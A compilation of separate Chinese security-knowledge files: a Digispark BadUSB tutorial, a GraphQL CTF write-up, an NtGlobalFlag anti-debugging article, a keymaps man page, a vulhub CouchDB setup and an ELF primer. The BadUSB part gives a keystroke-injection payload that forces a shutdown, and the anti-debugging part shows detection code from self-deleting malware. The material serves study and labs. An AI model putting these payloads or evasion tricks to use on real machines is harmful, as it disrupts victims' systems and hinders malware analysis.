[身份互联网(IoI)来了 IAM将大放异彩](http://www.aqniu.com/learn/26776.html)
[重放攻击无线键盘实验，篡改你的输入信息](http://www.freebuf.com/geek/140837.html)
[对某品牌无人机的研究与劫持实验](http://www.freebuf.com/news/140453.html)
[IoT Devices Plagued by Lesser-Known Security Hole](https://www.darkreading.com/cloud/iot-devices-plagued-by-lesser-known-security-hole-/d/d-id/1329320)
[PoS malware hits food kiosks, steals payment card and biometric info](https://www.helpnetsecurity.com/2017/07/10/pos-malware-hits-food-kiosks/)
[出门刷卡要小心！一种可以从POS机终端收集信用卡信息的恶意软件出现了](http://www.ijiandao.com/news/opinions/62230.html)
[新型IoT机顶盒恶意软件Rowdy网络分析报告](http://blog.nsfocus.net/iot-set-top-box-malware-rowdy-network-analysis-report/)
[新型IoT机顶盒恶意软件Rowdy网络分析报告](http://www.ijiandao.com/2b/baijia/73503.html)
[Cameradar：一款可以渗透CCTV摄像头的工具](http://www.freebuf.com/sectool/150254.html)
[斯巴鲁汽车被曝漏洞，可克隆钥匙开车门](http://www.freebuf.com/news/150583.html)
|
sec-knowleage
|
# HID-Digispark
<p align="center">
<img src="../../../../../assets/img/banner/HID-Digispark.jpg">
</p>
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**文章/教程**
- [digispark:tutorials:connecting [Digistump Wiki]](http://digistump.com/wiki/digispark/tutorials/connecting)
- [使用Digispark和Duck2Spark打造一个廉价USB橡皮鸭](https://www.freebuf.com/articles/system/185293.html)
- [7块钱的BadUSB](https://mp.weixin.qq.com/s/mIcRNcf5HmZ4axe8N92S7Q)
- [Attiny85微型 USB接口开发板 Digispark kickstarter扩展板](https://detail.tmall.com/item.htm?id=543191001622)
- [Digispark(ATTINY85) 微型开发板驱动安装与开发环境配置教程](http://www.cnblogs.com/Mayfly-nymph/p/9293806.html)
- [如何给Digspark ATTINY85下载程序](https://blog.csdn.net/terminaterfxy/article/details/79623152)
- [Linux Conflict w/ Digistump DigiKeyboard.h include](https://forum.arduino.cc/index.php?topic=565616.msg3853561)
- [BadUSB的制作（Digispark篇）](https://mp.weixin.qq.com/s/A8KaMP-AJsuZSyyR6Zs1UA)
**资源**
- [DigiKeyboard_DE/DigiKeyboard.h](https://github.com/BesoBerlin/DigiKeyboard_DE/blob/master/DigiKeyboard.h) - keyboard 库文件
- [PlatyPew/Digispark-Duckduino](https://github.com/PlatyPew/Digispark-Duckduino) - payload
- [mame82/duck2spark](https://github.com/mame82/duck2spark) - payload 翻译脚本
- [toxydose/Duckyspark](https://github.com/toxydose/Duckyspark) - payload 翻译脚本
- [thewhiteh4t/flashsploit](https://github.com/thewhiteh4t/flashsploit) - 基于 ATtiny85 的 HID 攻击的开发框架
---
## 简介
Digispark 是一个基于 ATTINY85 微控制器的 USB 开发板，体积小且价钱便宜，功能方面则没有 Arduino 般强大。代码与 Arduino 大同小异，更可贵的是使用 Arduino IDE 来开发。
淘宝上直接搜索 Digispark 就能看到了，价格在7元左右。
---
## 配置环境
先安装 Arduino IDE
从官网按照自己的操作系统下载并安装 https://www.arduino.cc/en/main/software
> 我使用的是 1.8.5 版本,正常使用，但其他部分版本有BUG
安装完成后，打开 Arduino IDE 应用程序，依次选择 File -> Preferences ，并在字段名为“Additional Boards Manager URL”的输入框中，输入以下 URL。
```
http://digistump.com/package_digistump_index.json
```
> 注:如果速度慢可以配置代理
安装 Digispark 的驱动(32位操作系统和64位操作系统安装程序不同)
https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip
运行 Install Drivers.exe
进入“工具”菜单，然后选择“开发板”子菜单 - 选择“开发板管理器”
然后从类型下拉菜单中选择“贡献”， 选择“Digistump AVR Boards”包，然后单击“安装”按钮
> 注:再次强调,如果速度慢可以配置代理
最后，打开 Tools -> Board，然后选择 Digispark (Default—16.5mhz)并将其设置为默认值。
---
## 使用
用无害的 payload 演示
```c
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.delay(1500);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);//win+r
delay(200);
DigiKeyboard.println("NOTEPAD");
DigiKeyboard.println();
delay(500);
DigiKeyboard.sendKeyStroke(KEY_SPACE,MOD_CONTROL_LEFT);
delay(200);
DigiKeyboard.print("just test");
DigiKeyboard.println();
}
void loop() {
}
```
将上面的代码复制到软件中,点击左上角 "验证" 按钮,等待编译完成,检测代码是否有误.当然你可以跳过这一步直接点击上传 :)
> 注意：在调用上传之前，不需要插入 Digispark
点击上传按钮。底部状态框现在会要求插入 Digispark - 插入它 - 或者拔下并重新插入它。
enjoy :)
**关机**
```c
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);//win+r
DigiKeyboard.delay(100);
DigiKeyboard.println("cmd");
DigiKeyboard.delay(500);
DigiKeyboard.println("shutdown -f -s -t 10");
}
void loop() {
}
```
---
## Tips
- 可以使用一些热缩管来为你的 Digispark-Ducky 提供电绝缘，机械保护，密封及隐藏。
- 键盘映射见 DigiKeyboard.h 文件
|
sec-knowleage
|
# GQL all the way
Category: Web, 250 points
## Description
> challenge 2 in Imperva's GQLDating series
>
> So, I really like the name liron. Maybe this is the person I should be with? I wonder what is Liron’s nickname?
## Solution
This is the follow up for [Find my intro](Find_my_intro.md). We'll continue using `GraphQLmap` to interact with the GraphQL engine.
```console
┌──(user@kali)-[/media/sf_CTFs/technion/GQL_all_the_way]
└─$ python3 ~/utils/web/GraphQLmap/graphqlmap.py -u http://ec2-3-239-182-16.compute-1.amazonaws.com:1234/gql/graphql?query={} -v --method POST --json
_____ _ ____ _
/ ____| | | / __ \| |
| | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __
| | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \
| |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |
\_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/
| | | |
|_| |_|
Author: @pentest_swissky Version: 1.0
GraphQLmap > dump_new
============= [SCHEMA] ===============
e.g: name[Type]: arg (Type!)
User
name[]:
email[]:
rate[]:
Flag
hint[]:
key[]:
FlagResult
success[Boolean]:
errors[String]:
flag[]:
Person
id[ID]:
nickname[]:
name[]:
last_name[]:
joined_at[]:
city[]:
interest_in[]:
gender[]:
personal_info[]:
link[]:
PersonRate
id[ID]:
nickname[]:
name[]:
last_name[]:
rate[]:
PersonResult
success[Boolean]:
errors[String]:
person[]:
PersonsResult
success[Boolean]:
errors[String]:
persons[Person]:
PersonRateResult
success[Boolean]:
errors[String]:
person_rate[]:
UserResult
success[Boolean]:
errors[String]:
user[]:
Post
id[ID]:
title[String]:
description[String]:
created_at[String]:
PostResult
success[Boolean]:
errors[String]:
post[]:
PostsResult
success[Boolean]:
errors[String]:
posts[Post]:
Query
getFlag[FlagResult]:
listPosts[PostsResult]:
getPost[PostResult]: id (ID!),
listPersons[PersonsResult]:
getPerson[PersonResult]: id (ID!),
getPersonByName[PersonsResult]: name (!),
getPersonByNickName[PersonResult]: nickname (!),
getPersonRate[PersonRateResult]: id (ID!),
getUser[UserResult]: email (String!),
Mutation
createPost[PostResult]: title (String!), description (String!), created_at (!),
updatePost[PostResult]: id (ID!), title (!), description (!),
deletePost[PostResult]: id (!),
updatePersonRate[PersonRateResult]: id (ID!), rate (Int!),
updateUserRate[UserResult]: email (String!), rate (Int!),
__Schema
__Type
__Field
__InputValue
__EnumValue
__Directive
GraphQLmap >
```
Let's search for people named `Liron`:
```
GraphQLmap > query { getPersonByName(name: "liron"){ persons{ id nickname name last_name joined_at city interest_in gender personal_info link } } }
query { getPersonByName(name: "liron"){ persons{ id nickname name last_name joined_at city interest_in gender personal_info link } } }
{
"data": {
"getPersonByName": {
"persons": [
{
"city": "Ramat Gan",
"gender": "Male",
"id": "1",
"interest_in": "Female",
"joined_at": "2020-04-02",
"last_name": "cohen",
"link": "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRP5-vk1knRdbYlriqbcv0KxnOr5vdHTxAosA&usqp=CAU",
"name": "liron",
"nickname": "lironi",
"personal_info": null
},
{
"city": "Holon",
"gender": "Female",
"id": "3",
"interest_in": "Male",
"joined_at": "2020-08-02",
"last_name": "menashe",
"link": "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTX08GgPVSAD14yfE0hhyuohywu1KrfGpMKTg&usqp=CAU",
"name": "liron",
"nickname": "lirlir",
"personal_info": null
}
]
}
}
}
```
We see the nicknames `lironi` and `lirlir`, but they are not accepted. What else can we find about these users? We can also try the `getPerson` API:
```console
GraphQLmap > {getPerson (id: 1) {success errors person {id nickname name last_name joined_at city interest_in gender personal_info link} } }
{getPerson (id: 1) {success errors person {id nickname name last_name joined_at city interest_in gender personal_info link} } }
{
"data": {
"getPerson": {
"errors": null,
"person": {
"city": "Ramat Gan",
"gender": "Male",
"id": "1",
"interest_in": "Female",
"joined_at": "2020-04-02",
"last_name": "cohen",
"link": "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRP5-vk1knRdbYlriqbcv0KxnOr5vdHTxAosA&usqp=CAU",
"name": "liron",
"nickname": "lironi",
"personal_info": null
},
"success": true
}
}
}
GraphQLmap > {getPerson (id: 3) {success errors person {id nickname name last_name joined_at city interest_in gender personal_info link} } }
{getPerson (id: 3) {success errors person {id nickname name last_name joined_at city interest_in gender personal_info link} } }
{
"data": {
"getPerson": {
"errors": null,
"person": {
"city": "Holon",
"gender": "Female",
"id": "3",
"interest_in": "Male",
"joined_at": "2020-08-02",
"last_name": "menashe",
"link": "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTX08GgPVSAD14yfE0hhyuohywu1KrfGpMKTg&usqp=CAU",
"name": "liron",
"nickname": "lirlir",
"personal_info": "cstechnion{b00m!_y0u_n41l3d_17}"
},
"success": true
}
}
}
```
The flag: `cstechnion{b00m!_y0u_n41l3d_17}`.
|
sec-knowleage
|
### 关于NtGlobalFlag概述
在32位机器上, `NtGlobalFlag`字段位于`PEB`(进程环境块)`0x68`的偏移处, 64位机器则是在偏移`0xBC`位置. 该字段的默认值为0. 当调试器正在运行时, 该字段会被设置为一个特定的值. 尽管该值并不能十分可信地表明某个调试器真的有在运行, 但该字段常出于该目的而被使用.
该字段包含有一系列的标志位. 由调试器创建的进程会设置以下标志位:
```c
FLG_HEAP_ENABLE_TAIL_CHECK (0x10)
FLG_HEAP_ENABLE_FREE_CHECK (0x20)
FLG_HEAP_VALIDATE_PARAMETERS (0x40)
```
### NtGlobalFlag检测代码
因此, 可以检查这几个标志位来检测调试器是否存在. 比如用形如以下的32位的代码在32位机器上进行检测:
``` asm
mov eax, fs:[30h] ;Process Environment Block
mov al, [eax+68h] ;NtGlobalFlag
and al, 70h
cmp al, 70h
je being_debugged
```
以下是64位的代码在64位机器上的检测代码:
``` asm
push 60h
pop rsi
gs:lodsq ;Process Environment Block
mov al, [rsi*2+rax-14h] ;NtGlobalFlag
and al, 70h
cmp al, 70h
je being_debugged
```
要注意的是, 如果是一个32位程序在64位机器上运行, 那么实际上会存在两个PEB: 一个是32位部分的而另一个是64位. 64位的PEB的对应字段也会像在32位的那样而改变.
于是我们就还有以下的, 用32位的代码检测64位机器环境:
```
mov eax, fs:[30h] ; Process Environment Block
;64-bit Process Environment Block
;follows 32-bit Process Environment Block
mov al, [eax+10bch] ;NtGlobalFlag
and al, 70h
cmp al, 70h
je being_debugged
```
切记不要在没有掩盖其他位的情况下直接进行比较, 那样会无法检测到调试器.
在`ExeCryptor`就有使用`NtGlobalFlag`来检测调试器, 不过`NtGlobalFlag`的那3个标志位只有当程序是`由调试器创建`, 而非`由调试器附加`上去的进程时, 才会被设置.
### 改变NtGlobalFlag初值方法
当然绕过这种检测的方法也十分简单, 那就是调试器想办法将该字段重新设置为0. 然而这个默认的初值可以用以下四种方法任意一种改变:
1. 注册表`HKLM\System\CurrentControlSet\Control\SessionManager`的`GlobalFlag`的值会替换进行`NtGlobalFlag`字段. 尽管它随后还可能由Windows改变(以下会介绍), 注册表键值会对系统中所有进程产生影响并在重启后生效.
当然这也产生了另一种检测调试器的方法: 如果一个调试器为了隐藏自己, 而将注册表中的键值复制到`NtGlobalFlag`字段中, 然而注册表中的键值事先已经替换并且尚未重启生效. 那么调试器只是复制了一个假的值, 而非真正需要的那个. 如果程序知道真正的值而非注册表中的那个假的值, 那么就可以察觉到调试器的存在.
当然调试器也可以运行其他进程然后查询`NtGlobalFlag`字段来获取真正的值.
2. 依旧是`GlobalFlag`, 不过这里的是`HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<filename>`. (映像劫持), 这里需要将`<filename>`替换为需要更改的可执行文件的文件名(不需要指定路径). 设置好`GlobalFlag`后, 系统会将其值覆盖到`NtGlobalFlag`字段(只单独为指定的进程覆盖). 不过也还是可以再次由Windows改变(见下).
3. 在加载配置表(`Load Configuration Table`)的两个字段: `GlobalFlagsClear`和`GlobalFlagsSet`.
`GlobalFlagsClear`列出需要清空的标志位, 而`GlobalFlagsSet`则列出需要设置的标志位, 这些设置会在`GlobalFlag`应用之后再生效, 因此它可以覆盖掉`GlobalFlag`指定的值. 然而它无法覆盖掉Windows指定设置的标志位. 比如设置`FLG_USER_STACK_TRACE_DB (0x1000)`可以让Windows设置`FLG_HEAP_VALIDATE_PARAMETERS (0x40)`标志位, 就算`FLG_HEAP_VALIDATE_PARAMETERS`在加载配置表(`Load Configuration Table`)中被清空了, Windows也会在随后的进程加载过程中重新设置.
4. 当调试器创建进程时, Windows会做出一些改变. 通过设置环境变量中的`_NO_DEBUG_HEAP`, `NtGlobalFlag`将会因为调试器而不会设置其中的3个堆的标志位. 当然它们依旧可以通过`GlobalFlag`或加载配置表中的`GlobalFlagsSet`继续设置.
### NtGlobalFlag如何绕过检测?
有以下3种方法来绕过`NtGlobalFlag`的检测
* 手动修改标志位的值(`FLG_HEAP_ENABLE_TAIL_CHECK`, `FLG_HEAP_ENABLE_FREE_CHECK`, `FLG_HEAP_VALIDATE_PARAMETERS`)
* 在Ollydbg中使用`hide-debug`插件
* 在Windbg禁用调试堆的方式启动程序(`windbg -hd program.exe`)
### NtGlobalFlag手动绕过示例
以下是一个演示如何手动绕过检测的示例
``` asm
.text:00403594 64 A1 30 00 00 00 mov eax, large fs:30h ; PEB struct loaded into EAX
.text:0040359A db 3Eh ; IDA Pro display error (the byte is actually used in the next instruction)
.text:0040359A 3E 8B 40 68 mov eax, [eax+68h] ; NtGlobalFlag (offset 0x68 relative to PEB) saved to EAX
.text:0040359E 83 E8 70 sub eax, 70h ; Value 0x70 corresponds to all flags on (FLG_HEAP_ENABLE_TAIL_CHECK, FLG_HEAP_ENABLE_FREE_CHECK, FLG_HEAP_VALIDATE_PARAMETERS)
.text:004035A1 89 85 D8 E7 FF FF mov [ebp+var_1828], eax
.text:004035A7 83 BD D8 E7 FF FF 00 cmp [ebp+var_1828], 0 ; Check whether 3 debug flags were on (result of substraction should be 0 if debugged)
.text:004035AE 75 05 jnz short loc_4035B5 ; No debugger, program continues...
.text:004035B0 E8 4B DA FF FF call s_selfDelete ; ...else, malware deleted
```
在Ollydbg中在偏移`0x40359A`设置断点, 运行程序触发断点. 然后打开`CommandLine`插件用`dump fs:[30]+0x68`dump出`NtGlobalFlag `的内容
右键选择`Binary->Fill with 00's`将值`0x70`替换为`0x00`即可.
|
sec-knowleage
|
.\" @(#)keymaps.5 1.10 940130 aeb
.TH KEYMAPS 5 "24 April 1998"
.SH NAME
keymaps \- 对键盘映射文件的描述
.SH "描述 (DESCRIPTION)"
\" .IX "keymaps" "" "\fLkeymaps\fR \(em keyboard table descriptions for loadkeys and dumpkeys" ""
\" .IX "loadkeys" "keyboard table descriptions" "\fLloadkeys\fR" "keyboard table descriptions"
\" .IX "dumpkeys" "keyboard table descriptions" "\fLdumpkeys\fR" "keyboard table descriptions"
\" .IX keyboard "table descriptions for loadkeys and dumpkeys" keyboard "table descriptions for \fLloadkeys\fR and \fLdumpkeys\fR"
\" .IX "translation tables"
.LP
.BR loadkeys (1)
能够 通过 调入 指定的 文件 修改 键盘翻译表, 键盘翻译表 通常 用于 内核的
键盘驱动程序; 另外
.BR dumpkeys (1)
可以 根据 键盘翻译表 产生 这些文件.
.LP
这些文件 的 结构 大体上 和
.BR xmodmap (1)
的 输入文件 类似. 文件 由 字符集(charset), 键定义(key), 和 串定义 组成,
可以 包含 注释.
.LP
注释行 以
.B !
或
.B #
字符 开始, 到 行尾 结束, 忽略 其中 任何 字符.
注意, 注释行 不需要 从 第一列 开始, 而
.BR xmodmap (1)
有 这个 要求.
.LP
键盘映射(keymap)文件 是 面向行 定义 的; 一个 完整的定义 必须 在 一个 逻辑行
上 阐明. 不过 逻辑行 可以 分割 在 多个 物理行 上, 只需 在 各个 物理行尾 添加
一个 反斜杠 (\\) 即可.
.SH "包含文件 (INCLUDE FILES)"
一个 键盘映射表 可以 包含 其他 键盘映射表, 就象这样:
.LP
.RS
include "pathname"
.RE
.SH "字符集定义 (CHARSET DEFINITIONS)"
字符集 定义 的 格式 是:
.LP
.RS
charset "iso-8859-x"
.RE
.LP
它 指出 如何 解释 后面的 keysym.
例如, 在 iso-8859-1 中, 符号 mu (或 micro) 的 代码是 0265,
而 iso-8859-7 中的 mu 是 0354.
.SH "键值的完整定义 (COMPLETE KEYCODE DEFINITIONS)"
键值(keycode) 的 完整定义 形式 如下:
.LP
.RS
.nf
.BI keycode " keynumber " = " keysym keysym keysym" \fR...
.fi
.RE
.LP
.I keynumber
是 按键的 内部 标识值, 大致 相当于 它的 扫描码(scan code).
.I keynumber
可以 用 十进制数, 八进制数, 或 十六进制数 表示.
八进制数 以 零 开始, 十六进制数 以
.B 0x
开始.
.LP
.I keysym
表示 键盘 动作(action), 单个 按键 可以 编联(bind) 多至 256 个 动作.
动作 指 输出 Latin1 字符 或 字符序列, 切换 控制台 或 键盘映射, 以及
重启动 机器 等. (可以 用 dumpkeys(1) 获得 完整的 列表, 如
.BI " dumpkeys -l"
\&.)
.LP
在
.I keysym
前面 加上 前缀 '+' (加号) 表明 这个 keysym 是 字符, 因而 能够 受到
CapLock 的 影响, 就象 Shift 的 作用 一样 (CapLock 反转 Shift 的 状态).
缺省情况下, 配合 CapLock 能够 产生 ASCII 字母 'a'-'z' 和 'A'-'Z'.
如果 Shift+CapsLock 无法 产生 小写字母, 试在 映射文件 中 加入
.LP
.RS
.nf
.BI "keycode 30 = +a A"
.fi
.RE
.LP
当 一个 按键 按下时, 发生 什么 事件 取决于 当时 哪个 修饰键(modifier)
起作用. 键盘驱动程序 支持 8 个 修饰键, 它们是 (任意顺序)
Shift, AltGr, Control, Alt, ShiftL, ShiftR, CtrlL 和 CtrlR.
下面 的 表格 列出 各个 修饰键 对应的 权值, 权值 是 2 的 指数:
.LP
.RS
.TP 24
.I 修饰键
.I 权值
.TP 24
Shift
1
.PD 0
.TP 24
AltGr
2
.TP 24
Control
4
.TP 24
Alt
8
.TP 24
ShiftL
16
.TP 24
ShiftR
32
.TP 24
CtrlL
64
.TP 24
CtrlR
128
.PD
.RE
.LP
按键 的 有效动作 通过 加权值 获得, 加权值 是 有效修饰键 的 权值和.
缺省情况下 没有 使用 修饰键, 对应的 动作代码 是 0, 也就是说, 当一个键
按下 或 弹起 时, 相应 动作 位于 键定义行 的 第一列. 又如, 如果 Shift 和
Alt 键 处于 有效状态, 产生的 动作代码 是 9 (对应 第十列).
.\" (译注: 作者 对 修饰键 状态 一直 使用 有效(in effect) 一词, 译者 的 理解 是,
.\" 修饰键 不能 简单的 以 按下和弹起 确定 其 状态, 键盘驱动程序 能够 重定义
.\" 修饰键 行为, 例如, 按 一下 表示 生效, 再按 一下 表示 解除)
.LP
通过 编联 适当的 动作, 我们 可以 改变 有效的 修饰键.
例如, 如果 对 某个键 编联了 名称 Shift, 当 这个键 按下 时, shift 修饰键
就 生效, 当 这个键 弹起 时, shift 修饰键 状态 就 解除.
如果 对 某个键 编联了 名称 AltGr_Lock, 当 按下 这个键 时, AltGr 修饰键 就
生效, 再次 按下 这个键 就 解除 AltGr 修饰键 状态.
(缺省情况下, Shift, AltGr, Control 和 Alt 编联到 同名 按键 上;
AltGr 指 右侧 Alt 键.)
.LP
注意, 编联 修饰键 时 应该 非常 小心, 否则 键盘映射 可能 无法 使用.
例如, 如果 某个键 的 第一列 定义为 Control, 其他列 定义为 VoidSymbol, 你 就
有麻烦 了. 因为 按下 这个键 使 Control 修饰键 生效, 随后 的 动作 应该 来自
第五列 (见上表). 因此 当 这个键 弹起 时, 第五列 的 动作 被 采用, 但 这里 是
VoidSymbol, 什么 都 不发生. 这意味着 尽管 你 已经 松开了 这个键, 可是 Control
修饰键 仍然 有效. 反复 敲击 这个键 也 无济于事. 要 避免 这样 的 事情, 你 应该
把 所有的 列 定义为 相同的 修饰符, 为此 后面 将要 介绍 一个 常用的 缩写.
.LP
.I keysym
可以 采用 十进制数, 八进制数, 十六进制数 或者 符号表示法.
数字表示 的 形式 和
.IR keynumber
一样, 而 符号表示 类似于
.BR xmodmap (1)
中 用的. 需要注意 数字符号 的 区别.
数字符号 '0', ..., '9' 在
.BR xmodmap (1)
中 被换成 对应的 单词 'zero', 'one', ... 'nine', 防止 和 数字表示法 混淆.
.LP
在
.I keysym
中 使用 数字表示法 非常 不利于 移植, 这是 因为 不同 的 内核版本 之间, 各键
的 动作代码 可能 不一样, 因此 不鼓励 使用 数字表示法, 除非 内核 支持的 某项
键盘动作 在 当前的
.BR loadkeys (1)
中 没有 对应的 符号名称.
.LP
下面 介绍 一些 缩写 标记, 它们 能够 增加 可读性, 减少 输入量, 同时
也能 减少 输入错误.
.LP
首先, 你 可以 给出 一个 映射说明行, 如
.LP
.RS
keymaps 0-2,4-5,8,12
.RE
.LP
表明 键定义行 并不 使用 全部的 256 列, 而 只用 指定的 列.
(本例为: 映射 plain, Shift, AltGr, Control, Control+Shift, Alt 和
Control+Alt, 只有 7 列, 而非 256 列.)
如果 没有 定义 这样的 映射说明行, 将 产生 缺省 定义 keymaps 0-M,
此处的 M+1 是 所有 键定义行 中 发现 的 最大项数.
.LP
其次, 键定义行尾 的 VoidSymbol 项 可以 不出现. VoidSymbol 表示 一个
键盘动作, 它 不产生 输出, 也不出现 其他 效果. 例如, 把 30 号键 定义为
输出 'a', 按下 Shift 时 输出 'A', 按下 其他 修饰键 如 AltGr 之类 则
什么都 不做, 你 可以 写成
.LP
.RS
.nf
keycode 30 = a A
.fi
.RE
.LP
来 代替 冗长的
.LP
.RS
.nf
keycode 30 = a A VoidSymbol VoidSymbol \\
VoidSymbol VoidSymbol VoidSymbol ...
.fi
.RE
.LP
为了方便, 你 可以 用 更简洁 的 定义. 如果 键定义行 中, 等号 后面 只有 一个
动作码, 它 就可以 拥有 额外的 含义. 如果 这个 动作码 (数字 或 符号 形式)
不是 一个 ASCII 字符, 这 意味着 该 动作码 在 所有 定义了的 行 上 有效.
反过来, 如果 动作码 是 ASCII 字符, 位于 'a', ..., 'z' 或 'A', ..., 'Z'
之间, 对于 不同的 修饰键组合, 有 如下 定义
(下表 列出 两种 可能情况: 动作码 是 一个 小写字母, 表示为 'x', 或者是 一个
大写字母, 表示为 'Y'.)
.LP
.RS 4
.TP 24
.I modifier
.I symbol
.TP 24
none
x Y
.PD 0
.TP 24
Shift
X y
.TP 24
AltGr
x Y
.TP 24
Shift+AltGr
X y
.TP 24
Control
Control_x Control_y
.TP 24
Shift+Control
Control_x Control_y
.TP 24
AltGr+Control
Control_x Control_y
.TP 24
Shift+AltGr+Control
Control_x Control_y
.TP 24
Alt
Meta_x Meta_Y
.TP 24
Shift+Alt
Meta_X Meta_y
.TP 24
AltGr+Alt
Meta_x Meta_Y
.TP 24
Shift+AltGr+Alt
Meta_X Meta_y
.TP 24
Control+Alt
Meta_Control_x Meta_Control_y
.TP 24
Shift+Control+Alt
Meta_Control_x Meta_Control_y
.TP 24
AltGr+Control+Alt
Meta_Control_x Meta_Control_y
.TP 24
Shift+AltGr+Control+Alt
Meta_Control_x Meta_Control_y
.PD
.RE
.LP
.SH "单一修饰键定义 (SINGLE MODIFIER DEFINITIONS)"
上述 键定义行 的 格式 总要 定义 全部 M+1 个 可能的 组合, 无论 该行 是不是
真的 有 那么多 动作. 然而 还有 另一种 语法定义, 用来说明 只产生 一个 动作
的 特定键组合. 如果 你的 键盘映射 只有 少数 不符合 需要, 如 AltGr+function
键, 这个 功能 就特别 有用. 你 可以 制作 一个 小型文件, 在 调入 键盘映射文件
后 重定义 所需的 映射. 这种 形式 的 语法 是:
.LP
.BR "" { " plain " "| <modifier sequence> } " keycode
.I keynumber
.B =
.I keysym
.LP
例如:
.RS
.nf
plain keycode 14 = BackSpace
control alt keycode 83 = Boot
alt keycode 105 = Decr_Console
alt keycode 106 = Incr_Console
.fi
.RE
这里的 "plain" 指 该键的 基本动作 (就是说, 没有 使用 修饰键 时),
不影响 该键 的 其他 修饰键 组合.
.SH "字符串定义 (STRING DEFINITIONS)"
除了 注释 和 键定义行, 键盘映射表 还包含 字符串定义. 它们 用于 定义
各个 功能键(function key) 的 动作码 输出 些 什么. 字符串定义 的 语法 是:
.LP
.RS
.B string
.I keysym
.B =
.BI
"text"
.RE
.LP
.I text
包括 文本字符, 八进制字符, 或者 三个 escape 序列: \fB\\n\fP, \fB\\\\\fP,
和 \fB\\"\fP, 分别 代表 换行, 反斜杠, 和 引号. 八进制字符 的 格式 是
反斜杠 后面 列出的 八进制数字, 最多 三个 八进制数字.
.SH "组合定义 (COMPOSE DEFINITIONS)"
组合(键)定义 的 语法 是:
.LP
.RS
.BI "compose '" char "' '" char "' to '" char "'"
.RE
描述 两个 字节 怎样 组合成 第三者 (当 使用 少见的 声调符 或 组合键 时).
它 常用来 在 标准键盘 上 输入 声调符 之类.
.SH "缩写 (ABBREVIATIONS)
从 kbd-0.96 开始 可以 使用 多种 缩写.
.TP
.B "strings as usual"
定义 常用 字符串 (而不是 它们 编联的 键).
.TP
\fBcompose as usual for "iso-8859-1"\fP
定义 常用 compose 组合.
.LP
如果 想要 知道 哪些
.I keysym
能够 用在 键盘映射表 中, 请 使用
.LP
.RS
.nf
.B dumpkeys --long-info
.fi
.RE
.LP
遗憾的是, 目前 仍然 没有 对 各个 符号 的 说明. 您 可以 从 符号名称 上
推测, 或者 参考 内核源程序.
.LP
.SH "示例 (EXAMPLES)"
(小心 使用 keymaps 行, 如 `dumpkeys` 显示的 第一行, 或者 "keymaps 0-15" 之类)
.LP
下面的 输入项 交换 左侧 Control 键 和 Caps Lock 键 的 功能:
.LP
.RS
.nf
keycode 58 = Control
keycode 29 = Caps_Lock
.fi
.RE
.LP
正常的时候, 键值 58 是 Caps Lock, 键值 29 是 Control 键.
.LP
下面的 输入项 使 Shift 键 和 CapsLock 键 更好用 一点, 象 老式 打字机.
就是说, 按下 Caps Lock 键 (一次 多次 皆可) 使 键盘 进入 CapsLock 状态,
按 任一 Shift 键 解除 该 状态:
.LP
.RS
.nf
keycode 42 = Uncaps_Shift
keycode 54 = Uncaps_Shift
keycode 58 = Caps_On
.fi
.RE
.LP
下面的 输入项 设置 增强形键盘 的 编辑键, 使 它 更象是 VT200 系列 终端:
.LP
.RS
.nf
keycode 102 = Insert
keycode 104 = Remove
keycode 107 = Prior
shift keycode 107 = Scroll_Backward
keycode 110 = Find
keycode 111 = Select
control alt keycode 111 = Boot
control altgr keycode 111 = Boot
.fi
.RE
.LP
下面是 一个 示范, 将 字符串 "du\\ndf\\n" 和 AltGr-D 编联. 我们 使用了
"空闲的" 动作码 F100, 通常 它 没有被 使用:
.LP
.RS
.nf
altgr keycode 32 = F100
string F100 = "du\\ndf\\n"
.LP
.SH "另见 (SEE ALSO)"
.BR loadkeys (1),
.BR dumpkeys (1),
.BR showkey (1),
.BR xmodmap (1)
.SH "[中文版维护人]"
.B 徐明 <xuming@users.sourceforge.net>
.SH "[中文版最新更新]"
.BR 2003/05/13
.SH "《中国Linux论坛man手册页翻译计划》"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
version: '2'
services:
couchdb:
image: vulhub/couchdb:3.2.1
ports:
- "5984:5984"
- "4369:4369"
- "9100:9100"
environment:
COUCHDB_USER: vulhub
COUCHDB_PASSWORD: vulhub
|
sec-knowleage
|
# ELF
---
在进行逆向工程的开端，我们拿到 ELF 文件，或者是 PE 文件，首先要做的就是分析文件头，了解信息，进而逆向文件。
---
## ELF文件的格式
目前流行的可执行文件格式(Executable)主要就是 Windows 下的 PE（Portable Executable）和 Linux 的 ELF（Executable Linkble Format）,都是 COFF(Common File format)的变种，更加具体的来说，是来源于当时著名的 DEC(Digital Equipment Corporation) 的 VAX/VMS 上的 COFF 文件格式。在 Linux 中目标文件就是常见的中间文件 `.o`，对应的在 Windows 中就是 `.obj` 文件。由于格式与可执行文件相近，所以基本可以看做一种类型的文件。在 Windows 下统称为 PE-COFF 文件格式，在 Linux 下，统称为 ELF 文件。
除了可执行文件，包括动态链接库(Windows 下的 `.dll`, Linux 下的 `.so`)以及静态链接库(Windows 下的 `.lib`， Linux 下的 `.a`)都是按照以上格式存储的，在 Windows 下的格式都是 PE-COFF，Linux 下则按照 ELF 格式存储。唯一不同的是 Linux 下的静态链接库(`.a` 文件)，它基本上就是把许多目标文件捆绑在一起打包，类似 tar 命令， 再加上一些索引。
ELF 文件标准大概包含了以下四种文件类型：
- 可重定位文件(Relocatable File) : 主要包含代码和数据，可以被用来链接成可执行文件或者共享目标文件，静态链接库也归类于这一类，包括 Linux 的 `.o` 文件，Windows 的 `.obj` 文件
